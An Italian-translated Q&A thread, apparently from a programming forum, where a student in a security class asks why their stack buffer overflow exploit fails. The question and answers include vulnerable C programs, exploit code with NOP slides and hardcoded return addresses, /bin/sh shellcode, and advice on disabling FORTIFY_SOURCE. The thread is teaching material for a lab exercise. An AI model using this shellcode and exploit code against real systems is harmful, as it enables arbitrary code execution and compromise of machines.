Overflow del buffer come homeowrk

Question

studente questa roba overflow del buffer per una classe di sicurezza, sto cercando di sfruttare la vulnerabilità in questa applicazione:

//vuln.c 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 

    //BO Vulnerability 
    strcpy(buffer,str); 

    return 1; 
} 

int main(int argc, char* argv[]) 
{ 
    char str[517]; 

    FILE *badfile; 
     badfile = fopen("badfile","r"); 

    fread(str, sizeof(char),517, badfile); 
    bof(str); 

    printf("Returned Properly\n"); 
    return 1; 
} 

Utilizzando questo exploit applicazione:

//exploit.c 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

const char code[] = 
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x99" 
"\xb0\x0b" 
"\xcd\x80" 
; 


int main(int argc, char* argv[]) 
{ 
    char buffer[517]; 
    char large_string[512]; 
    FILE *badfile; 
     badfile = fopen("./badfile", "w"); 

    //NOPslide 
    memset(&buffer,0x90,517); 

    //BEGIN FILL BUFFER 
     //from stack_smashing.pdf 
    long *long_ptr = (long *) large_string; 

    int i; 
    for (i = 0; i < 128; i++) 
     *(long_ptr + i) = (int) buffer; 

    for (i = 100; i < strlen(code)+100; i++) 
     large_string[i] = code[i]; 

    strcpy(buffer,large_string); 
    //END FILL BUFFER 

    //save buffer to badfile 
    fwrite(buffer,517,1,badfile); 
    fclose(badfile); 

    return 0; 
} 

Per qualche ragione, quando creo il badfile eseguendo exploit, non vi spinge nulla. O il buffer è vuoto o non sta scrivendo correttamente. Non riesco a trovare il mio errore e, dopo instancabilmente ricerca su Google, non sono riuscito a trovare una risposta sufficiente. Dalla mia comprensione del codice del buffer di riempimento che ho usato, questo dovrebbe riempire long_string con l'indirizzo del mio buffer, quindi inserire il mio shellcode all'inizio di long_string (dopo un po 'di una diapositiva di NOOP) e quindi copiare long_string sul buffer. Non vedo davvero alcun problema con questo o con l'autore. Suggerimenti?

Answer 1

Bene, è necessario capire che cosa distrugge davvero lo stack. Fondamentalmente distrugge un sacco di valori e sovrascrive un particolare indirizzo che è fondamentalmente l'indirizzo del puntatore di ritorno sullo stack ($ebp + 4). Stai sicuramente cercando di distruggere lo stack, ma ci sono un sacco di cose che devi fare per capire esattamente quale indirizzo hai bisogno di sovrascrivere con un altro indirizzo che punta al tuo shellcode.

http://www.phrack.com/issues.html?issue=49&id=14

Attualmente si non hanno il lavoro di uno di queste due cose.

È necessario utilizzare gdb o un altro strumento per passare attraverso il codice assembly del codice vulnerabile effettivo e visualizzare l'indirizzo di ritorno. In base a ciò, si tenta di distruggere lo stack utilizzando la riga di comando.

Quindi si esegue il codice exploit senza distruggere lo stack. Prova a catturare l'indirizzo di ritorno effettivo che dovresti puntare al punto in cui hai piantato il codice shell.

Dovresti seguire la lettura sulla frase per capire veramente il concetto di distruggere lo stack. Spero possa aiutare!

Answer 2

C'è una cosa molto importante che ti manca nel codice. Ti lascio scoprire da te, ma probabilmente ti aiuterò osservando un problema di buffer overflow molto semplice che ho risolto qualche volta.

Considerare questo il codice di destinazione con la vulnerabilità - overflow del buffer facile.

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int foo(char *arg) 
{ 
    char buf[200]; 
    strcpy(buf, arg); 
} 

int main(int argc, char *argv[]) 
{ 
    if (argc != 2) 
    { 
     fprintf(stderr, "target1: argc != 2\n"); 
     exit(EXIT_FAILURE); 
    } 
    foo(argv[1]); 
    return 0; 
} 

seguito è riportato il codice di exploit:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char arg1[215] = ""; 
    memset(arg1,'\x90', 215); 
    memcpy(arg1,shellcode,45); 

    //0xbffffd78 
    //0xbffffcb8 

    arg1[212] = '\x88'; 
    arg1[213] = '\xfc'; 
    arg1[214] = '\xff'; 
    arg1[215] = '\xbf'; 
    char *args[] = { TARGET, arg1, NULL }; 
    char *env[] = { NULL }; 

    if (0 > execve(TARGET, args, env)) 
     fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

vedere come mi definisco il mio obiettivo e lo uso.

Inoltre, ho già visto questo codice shell. Io uso quello di seguito (phrack):

/* 
* Aleph One shellcode. 
*/ 
static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

Controllare con il vostro codice e fatemi sapere se funziona.

ANCHE:

strcpy(buffer,large_string); 

Scrivendo questo è una cattiva pratica, non importa se si accettano grande_stringa da stdin o meno.

Answer 3

strcpy(buffer,large_string); 

Una delle cose di cui avrete bisogno per affrontare durante la prova è questa chiamata di funzione.

FORTIFY_SOURCE utilizza varianti "più sicure" di funzioni ad alto rischio come memcpy e strcpy. Il compilatore utilizza le varianti più sicure quando può dedurre la dimensione del buffer di destinazione. Se la copia supera la dimensione del buffer di destinazione, il programma chiama abort().

Per disabilitare FORTIFY_SOURCE per il test, è necessario compilare il programma con -U_FORTIFY_SOURCE o -D_FORTIFY_SOURCE=0.